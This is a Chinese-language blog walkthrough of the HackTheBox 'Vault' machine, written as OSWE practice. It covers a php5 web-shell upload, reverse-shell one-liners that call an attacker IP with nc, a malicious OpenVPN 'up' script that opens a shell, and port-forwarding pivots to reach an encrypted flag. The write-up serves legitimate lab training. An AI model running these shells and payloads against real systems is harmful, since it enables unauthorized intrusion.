OSWE Vault Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Vault

靶场地址:

https://app.hackthebox.com/machines/Vault

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

  1. 提取 web 首页文字,枚举 403 目录。
  2. 目录扫描发现上传接口。
  3. 上传 php5 Web Shell 得到靶机 www-data 用户权限。在 dave 用户家目录可得到用户密码、容器信息和一个 key。
  4. SSH 端口转发,将靶机容器 80 端口至本地。
  5. 加载恶意 openvpn 文件得到容器 root 用户权限。
  6. 在容器 dave 家目录得到用户旗帜:user.txt。

权限提升(获取管理员旗帜):

  1. 在容器 dave 家目录再次得到一个用户密码(dave)。
  2. 在容器 alex 用户历史命令发现另外一个容器 IP(容器二)。
  3. 排查 /var/log 目录日志信息,发现历史端口转发配置。
  4. 执行 ncat 端口转发,使用获取的用户密码 ssh 连接容器二。
  5. 容器二 dave 家目录得到加密的 gpg 文件。容器二属于受限 shell,但不影响拷贝文件,也可通过 ssh -t bash 绕过。
  6. 将 gpg 文件复制到靶机宿主机(base32),通过之前得到 key 进行解密,得到管理员旗帜:root.txt。

三、靶场攻击演示

3.1 靶场信息收集

注意: OSWE 考试过程中不需要对靶机进行服务信息收集,考试环境会直接提供相关信息。考试环境通常包含三台靶机:一台是最终需要获取 flag 的目标靶机,一台是与目标靶机环境完全相同的克隆靶机,用于漏洞分析和调试,最后一台是用于运行 PoC 的靶机,以避免因网络原因导致例如 SQL 盲注 等利用过程过慢,可以在第三台靶机上执行 PoC。

对于 HackTheBox 平台靶机我们依然需要执行 nmap 信息搜集。

TCP 端口扫描(端口和端口服务信息):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 端口扫描
sudo nmap -p- 10.129.3.79 --min-rate=2000
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

# 端口服务扫描
sudo nmap -p22,80 -sCV 10.129.3.79
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP 端口扫描(端口和端口服务信息):

1
2
# 扫描未发现可利用 UDP 端口
sudo nmap -p- -sU 10.129.3.79 --min-rate=2000

由此得出结论:

系统为 Linux 环境,开放有 HTTP 和 SSH 服务。

3.2 渗透测试突破边界

3.2.1 文件上传漏洞

访问靶机 80 端口,注意: 主页有一些说明信息。

通过默认的字典是无法枚举到 web 目录的,需要结合主页内容进行枚举,当访问 sparklays 目录时会产生 403 响应码,利用该目录执行下一步枚举。

1
feroxbuster -u http://10.129.3.79/sparklays -x html,php --limit-bars 4 --no-state

1
2
3
4
5
6
7
8
9
10
# 403 响应码
http://10.129.3.79/sparklays/
http://10.129.3.79/sparklays/design/
http://10.129.3.79/sparklays/design/uploads/

# 200 响应码
http://10.129.3.79/sparklays/login.php
http://10.129.3.79/sparklays/admin.php
http://10.129.3.79/sparklays/design/changelogo.php
http://10.129.3.79/sparklays/design/design.html

admin.php 和 login.php 页面没有更多有价值信息,changelogo.php 可尝试文件上传,design.html 页面为 changelogo.php 的起始页面。

测试发现可将 php5 后缀文件成功上传,上传目录为:/sparklays/design/uploads/。

1
http://10.129.3.79/sparklays/design/uploads/shell.php5?cmd=id

将 shell 反弹至本地。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# kali
nc -lvnp 4444

# webshell
http://10.129.3.79/sparklays/design/uploads/shell.php5?cmd=busybox nc 10.10.16.145 4444 -e /bin/bash

# kali:升级为交互式 shell
bash
python -c 'import pty;pty.spawn("/bin/bash")'
Control + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 33 columns 157

检索靶机用户家目录未发现用户旗帜,在 dave 家目录得到 Servers、key、ssh 文件,其中 ssh 文件包含 dave 用户密码,Servers 有三个主机配置信息,key 像保存的某个凭证。

Servers 文件的 IP 地址可成功 ping 通,说明靶机很有可能部署了容器系统,上传 nmap 静态文件至靶机,对 192.168.122.4-5 执行端口扫描,发现 192.168.122.4 开放有 22 和 80 端口 192.168.122.5 未扫描到端口,根据 Servers 文件信息 192.168.122.5 大概率为防火墙应用。

1
2
# nmap 静态文件下载链接
https://github.com/opsec-infosec/nmap-static-binaries/releases/tag/v2

3.2.2 通过 Openvpn 配置文件反弹 Shell

使用 ssh 将 192.168.122.4 80 端口转发至 kali 90 端口。

1
ssh -N -L 90:192.168.122.4:80 dave@10.129.3.79

通过浏览器访问本地 90 端口,发现页面存在两个可点击按钮,测试只有 vpn 功能可正常使用。

测试添加配置反弹 shell 的 openvpn 文件,可成功得到容器 root 用户权限。

1
2
3
4
5
6
7
# 注意:一定添加 nobind 参数
remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 4444 >/tmp/f'"
nobind

首先点击更新文件,然后在宿主机使用 nc 监听 4444 端口,之后点击测试得到容器 root 用户权限。

升级为交互式 shell。

1
2
3
4
5
6
7
bash
python -c 'import pty;pty.spawn("/bin/bash")'
Control + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 33 columns 157

3.2.3 用户旗帜获取

在容器 dave 家目录得到用户旗帜。

3.2.4 代码分析

在容器 dave 家可得到第二个 ssh 凭证,利用该凭证通过宿主机登录容器,而且第二个容器的 dave 用户具有 sudo 权限,可直接切换至 root 用户,将/var/www/html 文件打包下载至 kali,同样方法也可将宿主机 /var/www/html 文件打包至 kali。

1
2
3
4
5
6
# tar 解压缩
tar -zcvf 1.tar.gz /var/www/html
tar -zxvf 1.tar.gz

# 通过 scp 下载文件
scp USER@IP:FILE ./

注意: OSWE 考试中不允许将代码下载至本地,考试中需要在调试主机分析代码。

容器 Openvpn 代码执行漏洞:

vpnconfig.php 后端逻辑

vpnconfig.php 前端页面

script.sh

漏洞分析: vpnconfig.php 前端提交的 text 表单可修改服务器 123.ovpn 文件,前端访问 vpn 测试接口,可在后端调用 script.sh 脚本,而且脚本会以 sudo 权限执行 openvpn 命令,由于我们在 ovpn 配置文件设置了 up 参数,程序执行脚本时就会执行我们事先设置好的反弹 shell。

宿主机登录绕过漏洞:

admin.php

漏洞分析: 分析宿主机 admin.php 发现只要我们传入的 host 为 localhost,服务器会直接将我们重定向之管理员页面。

宿主机文件上传漏洞:

changelogo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 一些注释
# 上传文件原始名字
$_FILES['userfile']['name']
# 获取上传文件的 content-type
$_FILES['userfile']['type']
# 获取上传文件的大小,单位为字节
$_FILES['userfile']['size']
# 获取上传文件的临时文件名
$_FILES['userfile']['tmp_name']
# 获取上传错误代码
$_FILES['userfile']['error']
# 浏览器提交的完整路径。该值并不总是包含真实的目录结构,因此不能被信任。
$_FILES['userfile']['full_path']

# 正则
/i:或略文件大小写
$:必须是结尾

漏洞分析: 代码中通过正则表达式设置了白名单,且白名单刚好允许 php5 后缀文件上传,可直接上传 php webshell。

3.3 提权获取系统最高权限

3.3.1 容器端口转发

在容器 alex 用户历史执行命令发现新的 IP(192.168.5.2),且该 IP 不能 ping 通。

检索容器历史日志信息,发现其执行了 nmap 扫描指令,且指定了扫描源端口,而且还通过 ncat 设置了端口转发,将 192.168.5.2 987 端口至容器本地。

1
grep -rHa "192.168.5.2" /var/log

利用相同的命令将 192.168.5.2 987 转发至容器本地。

1
/usr/bin/ncat -l 4444 --sh-exec 'ncat 192.168.5.2 987 -p 53'&

使用容器中获取的用户密码可 ssh 连接 192.168.5.2 容器。

1
ssh dave@127.0.0.1 -p 4444

在用户家目录可得到一个加密的 root 旗帜文件。

3.3.2 PGP 解密得到管理员旗帜

直接通过容器执行解密会提示密钥不可用,将其复制到宿主机执行解密,解密密码为宿主机 dave 家目录 key 内容。

1
cat root.txt.gpg | base32

1
2
echo -n 'QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHDLIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJBGMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRGVEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOEOPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFECKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJIUWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTDZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE27464GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBKTTAX3UIRVNBQMYRI7XY=' | base32 -d > root.txt.gpg
gpg -d root.txt.gpg

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSWE Vault Write-up
https://www.f0nesec.top/2026/03/12/oswe-vault/
作者
F0ne
发布于
2026年3月12日
许可协议